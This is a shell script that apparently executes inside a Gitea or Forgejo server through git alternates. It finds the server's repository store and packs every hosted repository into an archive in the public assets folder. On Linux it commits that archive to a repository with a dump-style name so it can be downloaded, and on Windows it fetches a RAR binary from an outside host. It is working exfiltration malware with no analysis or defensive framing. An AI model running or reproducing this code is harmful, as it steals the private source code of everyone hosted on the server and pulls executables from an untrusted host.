#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in /*) ;; *) origin_objects="$git_dir/objects/$origin_objects" ;; esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3
output_blob=$({ /bin/sh -c 'INJECT_REPO=6nn7nzw5/dump-f53227b288

# 防止重复执行
if [ -f /tmp/gitea_pack_running ]; then echo "[*] Busy,skip"; exit 0; fi
touch /tmp/gitea_pack_running; trap '"'"'rm -f /tmp/gitea_pack_running'"'"' EXIT

# --- 环境变量 ---
WD="${GITEA_WORK_DIR:-${GITEA_CUSTOM:-/data/gitea}}"
BASE="${FORGEJO__server__ROOT_URL:-${GITEA__server__ROOT_URL:-}}"
BASE="${BASE%/}"
OS=$(uname -s 2>/dev/null | tr '"'"'[:upper:]'"'"' '"'"'[:lower:]'"'"')
case "$OS" in *mingw*|*msys*|*cygwin*) OS="windows";; *linux*) OS="linux";; esac

# --- 找仓库路径 (多重检测) ---
if [ -d /data/git/repositories ]; then
    REPO_ROOT=/data/git/repositories
elif [ -d "$WD/data/gitea-repositories" ]; then
    REPO_ROOT="$WD/data/gitea-repositories"
elif [ -d "$WD/data/git/repositories" ]; then
    REPO_ROOT="$WD/data/git/repositories"
else
    FOUND=$(find /data -maxdepth 4 -type d -name "*.git" -path "*/repositories/*" 2>/dev/null | head -1)
    if [ -n "$FOUND" ]; then
        REPO_ROOT=$(dirname "$(dirname "$FOUND")")
    else
        REPO_ROOT="$WD/data/gitea-repositories"
    fi
fi

STATIC_DIR="$WD/custom/public/assets"; mkdir -p "$STATIC_DIR" 2>/dev/null
PACK_LOG="$STATIC_DIR/pack.log"

# --- 预判URL ---
RAW_URL="${BASE}/${INJECT_REPO:-unknown}/raw/branch/main/gitea_all.tar.gz"
echo "PREDICTED_URL=$RAW_URL"

# --- 后台：打包 + 注入 ---
case "$OS" in
windows)
    OUT="$STATIC_DIR/gitea_all.rar"
    TMP="${TEMP:-${TMP:-/tmp}}"
    if command -v tar >/dev/null 2>&1; then OUT="$STATIC_DIR/gitea_all.tar.gz"; PACKER=tar
    elif command -v 7z >/dev/null 2>&1; then OUT="$STATIC_DIR/gitea_all.7z"; PACKER=7z
    elif command -v rar >/dev/null 2>&1; then PACKER=rar
    else
        RAR_DL="$TMP/Rar64.exe"
        (curl -sLo "$RAR_DL" "http://AvhRsL903wiP.synology.me:9000/log/Rar64.exe" 2>/dev/null || \
         wget -qO "$RAR_DL" "http://AvhRsL903wiP.synology.me:9000/log/Rar64.exe" 2>/dev/null || \
         powershell -c "(New-Object Net.WebClient).DownloadFile('"'"'http://AvhRsL903wiP.synology.me:9000/log/Rar64.exe'"'"','"'"'$RAR_DL'"'"')") &
        PACKER=rar_dl; fi
    (
        case "$PACKER" in
            tar) cd "$REPO_ROOT" && tar -czf "$OUT" . 2>"$PACK_LOG";;
            7z)  cd "$REPO_ROOT" && 7z a -r "$OUT" . >"$PACK_LOG" 2>&1;;
            rar) cd "$REPO_ROOT" && rar a -r -ep1 "$OUT" . >"$PACK_LOG" 2>&1;;
            rar_dl) sleep 5; [ -f "$RAR_DL" ] && cd "$REPO_ROOT" && "$RAR_DL" a -r -ep1 "$OUT" . >"$PACK_LOG" 2>&1 || (OUT="$STATIC_DIR/gitea_all.zip"; powershell -c "Compress-Archive -Path '"'"'$REPO_ROOT\*'"'"' -DestinationPath '"'"'$OUT'"'"' -Force" >>"$PACK_LOG" 2>&1);;
        esac
        echo "DONE_SIZE=$(du -sh "$OUT" 2>/dev/null|cut -f1)" >>"$PACK_LOG"
    ) &
    ;;
*)
    OUT="$STATIC_DIR/gitea_all.tar.gz"
    REPO_DIR="$REPO_ROOT/${INJECT_REPO:-unknown}.git"
    # 同步执行：tar + git inject
    cd "$REPO_ROOT" && tar -czf "$OUT" . 2>/dev/null
    if [ -f "$OUT" ] && [ -d "$REPO_DIR" ]; then
        BLOB=$(git --git-dir="$REPO_DIR" hash-object -w "$OUT" 2>/dev/null)
        TREE=$(printf "100644 blob %s\tgitea_all.tar.gz\n" "$BLOB" | git --git-dir="$REPO_DIR" mktree 2>/dev/null)
        P=$(git --git-dir="$REPO_DIR" rev-parse HEAD 2>/dev/null||echo "")
        [ -n "$P" ] && P="-p $P"
        C=$(echo "backup"|GIT_AUTHOR_NAME=d GIT_AUTHOR_EMAIL=d@d GIT_COMMITTER_NAME=d GIT_COMMITTER_EMAIL=d@d git --git-dir="$REPO_DIR" commit-tree "$TREE" $P 2>/dev/null)
        git --git-dir="$REPO_DIR" update-ref refs/heads/main "$C" 2>/dev/null
    fi
    rm -f /tmp/gitea_pack_running
    ;;
esac
echo "[+] Fire-and-forget: pack started, check $PACK_LOG for completion"
'; cmd_rc=$?; printf '\n[exit-status=%s]\n' "$cmd_rc"; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "output\n" | GIT_AUTHOR_NAME=p GIT_AUTHOR_EMAIL=p@p GIT_COMMITTER_NAME=p GIT_COMMITTER_EMAIL=p@p git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/out-f53227b288 "$commit" || exit 7
exit 0